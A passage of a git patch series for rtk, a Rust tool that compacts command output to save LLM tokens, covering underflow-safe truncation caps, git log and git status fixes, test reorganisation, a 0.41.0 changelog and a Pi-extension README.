4 +-- src/cmds/system/log_cmd.rs | 4 +-- src/cmds/system/ls.rs | 4 +-- src/core/README.md | 6 +++- src/core/truncate.rs | 60 ++++++++++++++++++++++++++++++++++++++ 8 files changed, 76 insertions(+), 12 deletions(-) diff --git a/src/cmds/README.md b/src/cmds/README.md index d077885678..ad3a6ab77a 100644 --- a/src/cmds/README.md +++ b/src/cmds/README.md @@ -263,7 +263,7 @@ When a filter caps a list at N items (e.g. `take(20)`), the remaining items must | Flat list — one item = one line in the tee | `force_tee_tail_hint(content, slug, MAX + 1)` | PR lists, error lines, file paths — anything where each item is a single-line string | | Multi-line blocks | `force_tee_hint(content, slug)` | Test failures, build error blocks — items that span multiple lines so a line offset is meaningless | -**Cap values come from `src/core/truncate.rs`.** Pick the `CAP_*` matching your data class (`CAP_ERRORS`, `CAP_WARNINGS`, `CAP_LIST`, `CAP_INVENTORY`) and bind it to a local `const MAX_XXX: usize = CAP_Y;`. Derive `take(MAX_XXX)`, `> MAX_XXX`, and the offset `MAX_XXX + 1` from the local. These CAPs will later become the configuration surface for per-filter cap tuning (user-overridable via config) — keep all truncation values routed through them so that hook lands as a single switch rather than a codebase-wide hunt. A filter that genuinely needs to deviate uses a **small additive offset** from a CAP (`CAP_WARNINGS - 5`, `CAP_LIST + 5`) so it still tracks the global when reconfigured — never a bare literal, and never `*`/`/` (those scale unboundedly). Each deviation needs a one-line comment stating why; if there's no real reason, just use the plain CAP. +**Cap values come from `src/core/truncate.rs`.** Pick the `CAP_*` matching your data class (`CAP_ERRORS`, `CAP_WARNINGS`, `CAP_LIST`, `CAP_INVENTORY`) and bind it to a local `const MAX_XXX: usize = CAP_Y;`. Derive `take(MAX_XXX)`, `> MAX_XXX`, and the offset `MAX_XXX + 1` from the local. These CAPs will later become the configuration surface for per-filter cap tuning (user-overridable via config) — keep all truncation values routed through them so that hook lands as a single switch rather than a codebase-wide hunt. A filter that genuinely needs to deviate uses **`truncate::reduced(CAP_Y, n)`** (e.g. `reduced(CAP_WARNINGS, 5)`) so it still tracks the global when reconfigured — never a bare literal, never `cap - n` (underflows once caps are runtime-configurable), and never `*`/`/` (those scale unboundedly). `reduced` falls back to the full cap if the reduction would empty the list. Each deviation needs a one-line comment stating why; if there's no real reason, just use the plain CAP. See `src/core/README.md` ("Truncation Caps") for the full rationale. **The tee content must match what `tail` produces.** For `force_tee_tail_hint`, build the tee from the same formatted values shown in the output — not raw/intermediate data. If the filter reformats items before displaying them, pre-build a `Vec` of formatted lines and use it for both the display loop and the tee. diff --git a/src/cmds/git/gt_cmd.rs b/src/cmds/git/gt_cmd.rs index 17234fe99d..1fb3ee711a 100644 --- a/src/cmds/git/gt_cmd.rs +++ b/src/cmds/git/gt_cmd.rs @@ -2,7 +2,7 @@ use crate::core::stream::exec_capture; use crate::core::tracking; -use crate::core::truncate::CAP_LIST; +use crate::core::truncate::{reduced, CAP_LIST}; use crate::core::utils::{ok_confirmation, resolved_command, strip_ansi, truncate}; use anyhow::{Context, Result}; use lazy_static::lazy_static; @@ -170,7 +170,7 @@ fn passthrough_gt(subcommand: &str, args: &[String], verbose: u8) -> Result } // gt log entries are multi-line — trim the list cap to keep token savings above 60%. -const MAX_LOG_ENTRIES: usize = CAP_LIST - 5; +const MAX_LOG_ENTRIES: usize = reduced(CAP_LIST, 5); fn filter_gt_log_entries(input: &str) -> String { let trimmed = input.trim(); diff --git a/src/cmds/ruby/rspec_cmd.rs b/src/cmds/ruby/rspec_cmd.rs index 46a4bf5639..80fbe1c106 100644 --- a/src/cmds/ruby/rspec_cmd.rs +++ b/src/cmds/ruby/rspec_cmd.rs @@ -6,7 +6,7 @@ //! fails to parse. use crate::core::runner; -use crate::core::truncate::CAP_WARNINGS; +use crate::core::truncate::{reduced, CAP_WARNINGS}; use crate::core::utils::{fallback_tail, ruby_exec, truncate}; use anyhow::Result; use lazy_static::lazy_static; @@ -14,7 +14,7 @@ use regex::Regex; use serde::Deserialize; // rspec failures carry full backtraces — show fewer than a generic warning list. -const MAX_RSPEC_FAILURES: usize = CAP_WARNINGS - 5; +const MAX_RSPEC_FAILURES: usize = reduced(CAP_WARNINGS, 5); // ── Noise-stripping regex patterns ────────────────────────────────────────── diff --git a/src/cmds/system/deps.rs b/src/cmds/system/deps.rs index dd83a87621..3cba21139f 100644 --- a/src/cmds/system/deps.rs +++ b/src/cmds/system/deps.rs @@ -1,7 +1,7 @@ //! Summarizes project dependencies from lock files and manifests. use crate::core::tracking; -use crate::core::truncate::CAP_WARNINGS; +use crate::core::truncate::{reduced, CAP_WARNINGS}; use anyhow::Result; use regex::Regex; use std::fs; @@ -9,7 +9,7 @@ use std::path::Path; const MAX_DEPS: usize = CAP_WARNINGS; // dev deps are secondary to prod — show fewer. -const MAX_DEV_DEPS: usize = CAP_WARNINGS - 5; +const MAX_DEV_DEPS: usize = reduced(CAP_WARNINGS, 5); /// Summarize project dependencies pub fn run(path: &Path, verbose: u8) -> Result<()> { diff --git a/src/cmds/system/log_cmd.rs b/src/cmds/system/log_cmd.rs index 068fcba9e1..7c765f5e6e 100644 --- a/src/cmds/system/log_cmd.rs +++ b/src/cmds/system/log_cmd.rs @@ -1,7 +1,7 @@ //! Deduplicates repeated log lines and shows counts instead. use crate::core::tracking; -use crate::core::truncate::CAP_WARNINGS; +use crate::core::truncate::{reduced, CAP_WARNINGS}; use anyhow::Result; use lazy_static::lazy_static; use regex::Regex; @@ -180,7 +180,7 @@ fn analyze_logs(content: &str) -> String { warn_list.sort_by(|a, b| b.1.cmp(a.1)); // warnings are lower severity than errors — show fewer. - const MAX_LOG_WARNS: usize = CAP_WARNINGS - 5; + const MAX_LOG_WARNS: usize = reduced(CAP_WARNINGS, 5); for (normalized, count) in warn_list.iter().take(MAX_LOG_WARNS) { let original = unique_warnings .iter() diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index f24d4bad7b..b96f84876f 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -2,7 +2,7 @@ use super::constants::NOISE_DIRS; use crate::core::runner::{self, RunOptions}; -use crate::core::truncate::CAP_WARNINGS; +use crate::core::truncate::{reduced, CAP_WARNINGS}; use crate::core::utils::resolved_command; use anyhow::Result; use lazy_static::lazy_static; @@ -254,7 +254,7 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { let mut summary = format!("\nSummary: {} files, {} dirs", files.len(), dirs.len()); if !by_ext.is_empty() { // inline single-line summary — fewer entries to avoid wrapping. - const MAX_EXT_SUMMARY: usize = CAP_WARNINGS - 5; + const MAX_EXT_SUMMARY: usize = reduced(CAP_WARNINGS, 5); let mut ext_counts: Vec<_> = by_ext.iter().collect(); ext_counts.sort_by(|a, b| b.1.cmp(a.1)); let ext_parts: Vec = ext_counts diff --git a/src/core/README.md b/src/core/README.md index ed7e6ae2cc..5d6f8e5ca1 100644 --- a/src/core/README.md +++ b/src/core/README.md @@ -125,7 +125,11 @@ When the truncated output is a **flat list** and the hidden items start at a pre ### Truncation Caps (`truncate`) -`src/core/truncate.rs` defines four global cap policies — `CAP_ERRORS`, `CAP_WARNINGS`, `CAP_LIST`, `CAP_INVENTORY` — for the data classes RTK filters truncate. Each filter binds the right CAP to a local `const MAX_*` so the cap is one named jump away from the call site. These CAPs are the staging point for filter-level cap configuration (planned, not yet implemented): once the config surface lands, overriding `CAP_LIST` in `~/.config/rtk/config.toml` will tune every list filter in one place instead of editing 20+ files. A filter that genuinely needs to deviate uses a small additive offset (`CAP_WARNINGS - 5`) with a one-line reason, so it still moves with the global; bare literals and `*`/`/` scaling are avoided. +`src/core/truncate.rs` defines four global cap policies — `CAP_ERRORS`, `CAP_WARNINGS`, `CAP_LIST`, `CAP_INVENTORY` — for the data classes RTK filters truncate. Each filter binds the right CAP to a local `const MAX_*` so the cap is one named jump away from the call site. These CAPs are the staging point for filter-level cap configuration (planned, not yet implemented): once the config surface lands, overriding `CAP_LIST` in `~/.config/rtk/config.toml` will tune every list filter in one place instead of editing 20+ files. + +**Config policy.** Configured values are accepted as-is, including `0`, which means "summary only" — the filter still prints the count and the `[full output: …]` recovery hint, just no individual items. Caps are never refused and rtk never aborts on them, in keeping with the never-block-the-user fallback philosophy. + +**Deviating from a cap.** A filter whose items are unusually verbose (multi-line entries, backtraces) may show fewer than its class cap. Use `truncate::reduced(cap, by)` rather than a bare `cap - by`: `reduced` returns `cap - by`, except when the reduction would empty the list (`by >= cap`), in which case it drops the deviation and uses the full `cap`. This guarantees a deviation can never hide every item, and — crucially — stays a `usize`-underflow-safe `const fn` once caps become runtime-configurable (a bare `CAP_WARNINGS - 5` would panic or wrap to "no truncation" if a user set `CAP_WARNINGS` below `5`). Never deviate with a bare literal or with `*`/`/` (those scale unboundedly). Each deviation needs a one-line comment stating why. ## Adding New Functionality Place new infrastructure code here if it meets **all** of these criteria: (1) it has no dependencies on command modules or hooks, (2) it is used by two or more other modules, and (3) it provides a general-purpose utility rather than command-specific logic. Follow the existing pattern of lazy-initialized resources (`lazy_static!` for regex, on-demand config loading) to preserve the <10ms startup target. Add `#[cfg(test)] mod tests` with unit tests in the same file. diff --git a/src/core/truncate.rs b/src/core/truncate.rs index 297a108288..c1776cdcbf 100644 --- a/src/core/truncate.rs +++ b/src/core/truncate.rs @@ -1,4 +1,64 @@ +//! Global truncation caps shared by every filter. See `src/core/README.md` +//! ("Truncation Caps") for the cap classes, config policy, and deviation rules. + +/// Errors: most actionable, shown the most. pub const CAP_ERRORS: usize = 20; +/// Warnings and test failures: lower signal density than errors. pub const CAP_WARNINGS: usize = 10; +/// Flat lists (PRs, services, packages): one line per item. pub const CAP_LIST: usize = 20; +/// Inventories (`pip list`, `docker images`): exhaustive lookups. pub const CAP_INVENTORY: usize = 50; + +/// A cap reduced for a verbose data class. Falls back to `cap` when `by >= cap` +/// so a deviation can never empty the list; `0` stays `0`. `const fn`, underflow-safe. +pub const fn reduced(cap: usize, by: usize) -> usize { + if by < cap { + cap - by + } else { + cap + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn reduced_preserves_current_values() { + assert_eq!(reduced(CAP_WARNINGS, 5), 5); + assert_eq!(reduced(CAP_LIST, 5), 15); + } + + #[test] + fn reduced_falls_back_to_cap_when_offset_too_large() { + assert_eq!(reduced(4, 5), 4); + assert_eq!(reduced(5, 5), 5); + } + + #[test] + fn reduced_honors_zero_cap() { + assert_eq!(reduced(0, 5), 0); + } + + // Sweep every plausible (cap, by) a future config could produce and assert + // the invariants that make caps safe: the result never wraps past `cap`, and + // the offset never empties a non-zero cap. `usize::MAX` covers a wraparound bug. + #[test] + fn reduced_is_underflow_safe_across_all_inputs() { + for cap in 0..=64usize { + for by in [0usize, 1, 5, 10, 64, usize::MAX] { + let r = reduced(cap, by); + assert!(r <= cap, "reduced({cap}, {by}) = {r} exceeds cap (wrapped)"); + if cap == 0 { + assert_eq!(r, 0, "zero cap must stay zero"); + } else { + assert!(r >= 1, "reduced({cap}, {by}) = {r} emptied a non-zero cap"); + } + if by < cap { + assert_eq!(r, cap - by, "exact deviation must be preserved"); + } + } + } + } +} From b3adcb18ef762d8652272e2ea68c0f416f33c740 Mon Sep 17 00:00:00 2001 From: okwn Date: Thu, 21 May 2026 10:16:09 +0000 Subject: [PATCH 138/204] fix: honor explicit -n N limit for git log on merge commits When user runs 'git log -1 --format='%H' HEAD' where HEAD is a merge commit, rtk was adding --no-merges which filtered out the merge commit itself and returned the second parent instead. This made 'git log -1' return wrong SHAs for merge commits. Fix: don't add --no-merges when user explicitly passes -n N or --max-count=N. When a user specifies an exact count they expect exactly that many commits, not filtered results. Also skip --no-merges if user already passed --merges or --no-merges explicitly. Fixes rtk-ai/rtk#2009. --- src/cmds/git/git.rs | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 6f42d20e82..95bba3729a 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -522,8 +522,10 @@ fn run_log( // Only add --no-merges if user didn't explicitly request merge commits let wants_merges = args .iter() - .any(|arg| arg == "--merges" || arg == "--min-parents=2"); - if !wants_merges { + .any(|arg| arg == "--merges" || arg == "--min-parents=2" || arg == "--no-merges"); + // Don't add --no-merges if user explicitly requested merges or an exact count (-n N / --max-count) + // When user passes -1 they want 1 commit regardless of whether it's a merge + if !wants_merges && !has_limit_flag { cmd.arg("--no-merges"); } From a6844dc7efcce820560891f8831f1fab56711d2b Mon Sep 17 00:00:00 2001 From: gitbluf Date: Thu, 21 May 2026 13:15:51 +0200 Subject: [PATCH 139/204] chore: regroup agent init tests by agent section --- src/hooks/init.rs | 194 +++++++++++++++++++++++----------------------- 1 file changed, 99 insertions(+), 95 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index dbe6470575..3c4c84e58b 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -5836,6 +5836,33 @@ mod tests { ); } + #[test] + fn test_claude_md_mode_refuses_malformed_block() { + // Mirrors `test_copilot_init_refuses_malformed_block`: a malformed + // CLAUDE.md previously emitted a warning and exited 0, silently + // skipping the OpenCode plugin step. The shared `write_rtk_block` + // dispatcher now bails for both paths. + let tmp = TempDir::new().unwrap(); + with_claude_dir_override(&tmp, |claude_dir| { + let claude_md = claude_dir.join(CLAUDE_MD); + let malformed = format!( + "# Existing notes\n\n{}\nincomplete RTK block\n", + RTK_BLOCK_START + ); + fs::write(&claude_md, &malformed).unwrap(); + + let result = run_claude_md_mode(true, false, InitContext::default()); + + assert!( + result.is_err(), + "Malformed CLAUDE.md must cause a hard error, not silent skip" + ); + + let after = fs::read_to_string(&claude_md).unwrap(); + assert_eq!(after, malformed, "File must not be modified when malformed"); + }); + } + // ─── Pi integration tests ─────────────────────────────────────────── #[test] @@ -6015,6 +6042,78 @@ mod tests { !tmp.path().join(".pi").join(PI_EXTENSIONS_SUBDIR).exists(), "dry-run must not create .pi/extensions/" ); + } + + #[test] + fn test_pi_global_uninstall_dry_run_keeps_plugin() { + let tmp = TempDir::new().unwrap(); + with_pi_dir_override(&tmp, |pi_dir| { + run_pi_mode(true, InitContext::default()).unwrap(); + let plugin = pi_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); + assert!( + plugin.exists(), + "plugin must exist before uninstall dry-run" + ); + + uninstall( + true, + false, + false, + false, + true, + InitContext { + verbose: 0, + dry_run: true, + }, + ) + .unwrap(); + + assert!( + plugin.exists(), + "dry-run uninstall must not remove the Pi extension" + ); + }); + } + + #[test] + fn test_pi_local_uninstall_dry_run_keeps_plugin() { + let tmp = TempDir::new().unwrap(); + let _cwd_guard = CWD_LOCK.lock().unwrap_or_else(|e| e.into_inner()); + let cwd = std::env::current_dir().unwrap(); + std::env::set_current_dir(tmp.path()).unwrap(); + + run_pi_mode(false, InitContext::default()).unwrap(); + let plugin = tmp + .path() + .join(".pi") + .join(PI_EXTENSIONS_SUBDIR) + .join(PI_PLUGIN_FILE); + assert!( + plugin.exists(), + "plugin must exist before uninstall dry-run" + ); + + let result = uninstall( + false, + false, + false, + false, + true, + InitContext { + verbose: 0, + dry_run: true, + }, + ); + std::env::set_current_dir(&cwd).unwrap(); + result.unwrap(); + + assert!( + plugin.exists(), + "dry-run uninstall must not remove the local Pi extension" + ); + } + + // ─── Copilot tests ─────────────────────────────────────────────── #[test] fn test_copilot_init_preserves_existing_instructions() { @@ -6192,99 +6291,4 @@ mod tests { hook_path.display() ); } - - #[test] - fn test_pi_global_uninstall_dry_run_keeps_plugin() { - let tmp = TempDir::new().unwrap(); - with_pi_dir_override(&tmp, |pi_dir| { - run_pi_mode(true, InitContext::default()).unwrap(); - let plugin = pi_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); - assert!( - plugin.exists(), - "plugin must exist before uninstall dry-run" - ); - - uninstall( - true, - false, - false, - false, - true, - InitContext { - verbose: 0, - dry_run: true, - }, - ) - .unwrap(); - - assert!( - plugin.exists(), - "dry-run uninstall must not remove the Pi extension" - ); - }); - } - - #[test] - fn test_pi_local_uninstall_dry_run_keeps_plugin() { - let tmp = TempDir::new().unwrap(); - let _cwd_guard = CWD_LOCK.lock().unwrap_or_else(|e| e.into_inner()); - let cwd = std::env::current_dir().unwrap(); - std::env::set_current_dir(tmp.path()).unwrap(); - - run_pi_mode(false, InitContext::default()).unwrap(); - let plugin = tmp - .path() - .join(".pi") - .join(PI_EXTENSIONS_SUBDIR) - .join(PI_PLUGIN_FILE); - assert!( - plugin.exists(), - "plugin must exist before uninstall dry-run" - ); - - let result = uninstall( - false, - false, - false, - false, - true, - InitContext { - verbose: 0, - dry_run: true, - }, - ); - std::env::set_current_dir(&cwd).unwrap(); - result.unwrap(); - - assert!( - plugin.exists(), - "dry-run uninstall must not remove the local Pi extension" - ); - - - fn test_claude_md_mode_refuses_malformed_block() { - // Mirrors `test_copilot_init_refuses_malformed_block`: a malformed - // CLAUDE.md previously emitted a warning and exited 0, silently - // skipping the OpenCode plugin step. The shared `write_rtk_block` - // dispatcher now bails for both paths. - let tmp = TempDir::new().unwrap(); - with_claude_dir_override(&tmp, |claude_dir| { - let claude_md = claude_dir.join(CLAUDE_MD); - let malformed = format!( - "# Existing notes\n\n{}\nincomplete RTK block\n", - RTK_BLOCK_START - ); - fs::write(&claude_md, &malformed).unwrap(); - - let result = run_claude_md_mode(true, false, InitContext::default()); - - assert!( - result.is_err(), - "Malformed CLAUDE.md must cause a hard error, not silent skip" - ); - - let after = fs::read_to_string(&claude_md).unwrap(); - assert_eq!(after, malformed, "File must not be modified when malformed"); - }); - } } From 7753e487b3595886d39492be9b43ecad26c826ca Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 22 May 2026 10:13:00 +0200 Subject: [PATCH 140/204] fix(git): drop -uall from compact status so output never exceeds raw MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The compact `git status` path ran `git status --porcelain -b -uall`. The `-uall` flag expands fully-untracked directories into every file, while raw `git status` collapses them (e.g. `node_modules/`). This made rtk output larger than raw — measured ~29x on a 200-file untracked dir (5500B vs 191B) — violating RTK's compress-or-match-raw invariant and inflating tokens. Remove `-uall` so untracked directories collapse exactly like raw. This keeps #991's actual fix intact: all modified/staged/renamed/conflict paths are still shown with no grouped summaries or `... +N more` overflow markers (`-uall` never affected those lines). Untracked files in partially-tracked dirs and any paths git itself expands are still preserved by the formatter. Measured (rtk vs raw git status): - node_modules/ (200 files): 5500B (-2780%) -> 25B (+87% savings) - normal (8 mod + 2 untracked): +71% -> +76% - 17 modified (#991 case): unchanged at +58%, all 17 shown, 0 overflow markers Co-Authored-By: Claude Opus 4.7 --- src/cmds/git/git.rs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index a77b0ba767..b67120e3e7 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -70,7 +70,7 @@ fn build_status_command(args: &[String], global_args: &[String]) -> Command { let mut cmd = git_cmd(global_args); cmd.arg("status"); if uses_compact_status_path(args) { - cmd.args(["--porcelain", "-b", "-uall"]); + cmd.args(["--porcelain", "-b"]); } else { cmd.args(args); } @@ -1899,10 +1899,10 @@ mod tests { } #[test] - fn test_build_status_command_default_includes_uall() { + fn test_build_status_command_default_compact() { let cmd = build_status_command(&[], &[]); let args: Vec<_> = cmd.get_args().collect(); - assert_eq!(args, vec!["status", "--porcelain", "-b", "-uall"]); + assert_eq!(args, vec!["status", "--porcelain", "-b"]); } #[test] @@ -1923,7 +1923,7 @@ mod tests { let args = vec!["--short".to_string(), "--branch".to_string()]; let cmd = build_status_command(&args, &[]); let cmd_args: Vec<_> = cmd.get_args().collect(); - assert_eq!(cmd_args, vec!["status", "--porcelain", "-b", "-uall"]); + assert_eq!(cmd_args, vec!["status", "--porcelain", "-b"]); } #[test] From f431fb9521b720aa58bc856b432df73cee35d735 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 22 May 2026 15:30:14 +0200 Subject: [PATCH 141/204] Update git.rs --- src/cmds/git/git.rs | 1 - 1 file changed, 1 deletion(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 95bba3729a..5140244e6f 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -524,7 +524,6 @@ fn run_log( .iter() .any(|arg| arg == "--merges" || arg == "--min-parents=2" || arg == "--no-merges"); // Don't add --no-merges if user explicitly requested merges or an exact count (-n N / --max-count) - // When user passes -1 they want 1 commit regardless of whether it's a merge if !wants_merges && !has_limit_flag { cmd.arg("--no-merges"); } From 6e6efd4dd1ec13c10bbf2f7fc02eeee005414f13 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 22 May 2026 17:55:56 +0200 Subject: [PATCH 142/204] docs(git): sync status README with --porcelain -b (drop -uall) --- src/cmds/git/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/cmds/git/README.md b/src/cmds/git/README.md index d569978872..93807be3b8 100644 --- a/src/cmds/git/README.md +++ b/src/cmds/git/README.md @@ -5,7 +5,7 @@ ## Specifics - **git.rs** uses `trailing_var_arg = true` + `allow_hyphen_values = true` so native git flags (`--oneline`, `--cached`, etc.) pass through correctly -- Default `git status` uses `--porcelain -b -uall` so nested untracked files stay visible; branch/short-only flags reuse the compact path, other explicit args still pass through unchanged +- Default `git status` uses `--porcelain -b` so the compact output never exceeds raw `git status` (an untracked directory collapses to a single line, matching git's default); branch/short-only flags reuse the compact path, other explicit args still pass through unchanged - Global git options (`-C`, `--git-dir`, `--work-tree`, `--no-pager`) are prepended before the subcommand - Exit code propagation is critical for CI/CD pipelines - **glab_cmd.rs** declares `-R`/`--repo` and `-g`/`--group` at the clap level; they are **appended** to the glab args (not prepended) so subcommand dispatch stays intact From 02f76972b46515b80c62696a52346a385ec400b2 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Fri, 22 May 2026 15:57:54 +0000 Subject: [PATCH 143/204] chore(master): release 0.41.0 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 33 +++++++++++++++++++++++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 36 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 6507815346..dbe1b2bfb9 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.40.0" + ".": "0.41.0" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 2e2345b8fe..2d7dc81c70 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,39 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.41.0](https://github.com/rtk-ai/rtk/compare/v0.40.0...v0.41.0) (2026-05-22) + + +### Features + +* **hints:** add tail hints for tee & hints + address reviews ([46fe7c4](https://github.com/rtk-ai/rtk/commit/46fe7c47293fcbef28159ddc9fcd118a344cc42b)) + + +### Bug Fixes + +* '...' ascii to unicode, remove some comments ([3571d52](https://github.com/rtk-ai/rtk/commit/3571d5293dc463c2a0aadfa9a5587b18478ca99a)) +* **docker:** forward --tail flag in compose logs ([5f1d8b0](https://github.com/rtk-ai/rtk/commit/5f1d8b0e14f0a0f82cd139443a80e680249c3137)) +* **docker:** forward --tail flag in compose logs ([b70b0fe](https://github.com/rtk-ai/rtk/commit/b70b0feec680356db81561d3920a3a9373dd43d8)) +* **filters:** add test for aggressive filter batch fix ([f6b28c2](https://github.com/rtk-ai/rtk/commit/f6b28c292b517d55733ad1d3868f320b017901a5)) +* **filters:** address adversarial test-suite findings on aggressive filtering ([62fc0e0](https://github.com/rtk-ai/rtk/commit/62fc0e0d2159e82aaa8c36a18d69ca569a1ce0b5)) +* **filters:** aggresivity batch fix ([90c285c](https://github.com/rtk-ai/rtk/commit/90c285c38057a552f3e2ea8459fe82d715a9dd17)) +* **filters:** split docker ps/-a paths, cap ruff violations at 50 ([f21b864](https://github.com/rtk-ai/rtk/commit/f21b8642dea5ac37ade5308bcf443315d63665e8)) +* **git:** drop -uall from compact status so output never exceeds raw ([06476d1](https://github.com/rtk-ai/rtk/commit/06476d17cbd49a8a6d06beae9b4a9f0cb9f96f00)) +* **git:** drop -uall from compact status so output never exceeds raw ([7753e48](https://github.com/rtk-ai/rtk/commit/7753e487b3595886d39492be9b43ecad26c826ca)) +* **git:** preserve full status paths and untracked files ([3ba1634](https://github.com/rtk-ai/rtk/commit/3ba1634555c0b9818560c4f512af916620946181)) +* **git:** stream push output to avoid spurious 30s timeout ([#963](https://github.com/rtk-ai/rtk/issues/963)) ([d6c5647](https://github.com/rtk-ai/rtk/commit/d6c56475e818b52b89906baf3a6631aaa506a4c8)) +* **git:** stream push output via FilterMode::Streaming ([#963](https://github.com/rtk-ai/rtk/issues/963)) ([be51783](https://github.com/rtk-ai/rtk/commit/be5178377fd7c155f70fda94dd134aa5a7b9361d)) +* **hooks/init:** preserve user content in copilot-instructions.md ([a04aa7e](https://github.com/rtk-ai/rtk/commit/a04aa7e848a28bf5115bfb1d6b706fbff21ea112)) +* **hooks/init:** preserve user content in copilot-instructions.md ([d108165](https://github.com/rtk-ai/rtk/commit/d10816516b4c199b06af18278ab53c76d26c2d87)) +* **install:** reject archive with path traversal before extraction ([#1250](https://github.com/rtk-ai/rtk/issues/1250)) ([e827184](https://github.com/rtk-ai/rtk/commit/e8271848d7d6b0d34c2ba5c2c3783ddc48247546)) +* **kubectl:** compact get pods and services aliases ([2dd0ec9](https://github.com/rtk-ai/rtk/commit/2dd0ec91ab11feea13f5c40755f337208dcb3f7e)) +* **kubectl:** compact get pods and services aliases ([b8172e5](https://github.com/rtk-ai/rtk/commit/b8172e5b1de2fd3a27d992ffba484f01b47d84d4)) +* re-add env python as noisy dir ([4eefe2f](https://github.com/rtk-ai/rtk/commit/4eefe2f225ea512a2f1bf800dd20c09994721108)) +* **rust:** multi-line blocks used with tail hint ([4960630](https://github.com/rtk-ai/rtk/commit/49606303d6738525c250149230752fb6133383d1)) +* **tee:** safe truncation caps and compose-ps tee content fix ([548e4dd](https://github.com/rtk-ai/rtk/commit/548e4dd995d5de6e52d7c8e7bb0a0f81fa2c0328)) +* **tee:** safe truncation caps and tee/hint coverage ([15a0d2e](https://github.com/rtk-ai/rtk/commit/15a0d2e7d6e3f33442675f502ed8bc868710dfd6)) +* **truncate:** global caps reduce (avoid underflow and 0 results) ([d5a1731](https://github.com/rtk-ai/rtk/commit/d5a17315c52487be2d043e0058a4f7d91ec3d2bc)) + ## [0.40.0](https://github.com/rtk-ai/rtk/compare/v0.39.0...v0.40.0) (2026-05-13) diff --git a/Cargo.lock b/Cargo.lock index 8773a0899e..5ddb812959 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.40.0" +version = "0.41.0" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 8fc8a93054..376df83aa5 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.40.0" +version = "0.41.0" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From 9bd6e6f3929cf320193e34a2654603afa1e9fa91 Mon Sep 17 00:00:00 2001 From: gitbluf Date: Sat, 23 May 2026 01:36:07 +0200 Subject: [PATCH 144/204] feat: address pr suggestions --- hooks/pi/README.md | 23 ++++--- hooks/pi/rtk.ts | 135 +++++++++++++---------------------------- src/hooks/constants.rs | 1 + src/hooks/init.rs | 81 ++++++++++++++----------- 4 files changed, 103 insertions(+), 137 deletions(-) diff --git a/hooks/pi/README.md b/hooks/pi/README.md index 1674909360..1f0c8e00a6 100644 --- a/hooks/pi/README.md +++ b/hooks/pi/README.md @@ -2,12 +2,22 @@ > Part of [`hooks/`](../README.md) — see also [`src/hooks/`](../../src/hooks/README.md) for installation code +## Design Intent + +RTK's Pi extension is a **rewrite-only token optimizer**. It mutates bash commands to their +`rtk`-prefixed equivalents, saving 60–90% context tokens. + +**Permission gating is intentionally out of scope.** RTK does not block, confirm, or audit +commands — that concern belongs to a dedicated permission extension (e.g. one that gates +`rm -rf`, `sudo`, etc.). This separation keeps RTK's hook fast, predictable, and composable +with other Pi extensions. + ## Specifics - TypeScript extension using Pi's `ExtensionAPI` (not a shell hook, no `zx` dependency) - Subscribes to `tool_call` event, narrows to `bash` tool via `isToolCallEventType` -- Calls `rtk rewrite` as a subprocess; mutates `event.input.command` in-place if rewrite differs -- Returns `{ block: true, reason }` on deny (exit code 2); all other error paths return `undefined` +- Calls `rtk rewrite` via `pi.exec`; mutates `event.input.command` in-place if rewrite differs +- All error paths return `undefined` (pass through); RTK never blocks execution - Version guard at load time: checks `rtk >= 0.23.0`; warns and registers no-op if too old or missing - Installed to `.pi/extensions/rtk.ts` by `rtk init --agent pi` (project-local) or `~/.pi/agent/extensions/rtk.ts` by `rtk init --agent pi --global` @@ -21,10 +31,6 @@ rtk init --uninstall --agent pi # Remove global install rtk init --uninstall --agent pi --global # → removes ~/.pi/agent/extensions/rtk.ts - -# Pi-only target form -rtk init --uninstall --agent pi -rtk init --uninstall --agent pi --global ``` Uninstall is idempotent — re-running when nothing is installed is a no-op. @@ -50,6 +56,5 @@ RTK_DISABLED=1 pi -e 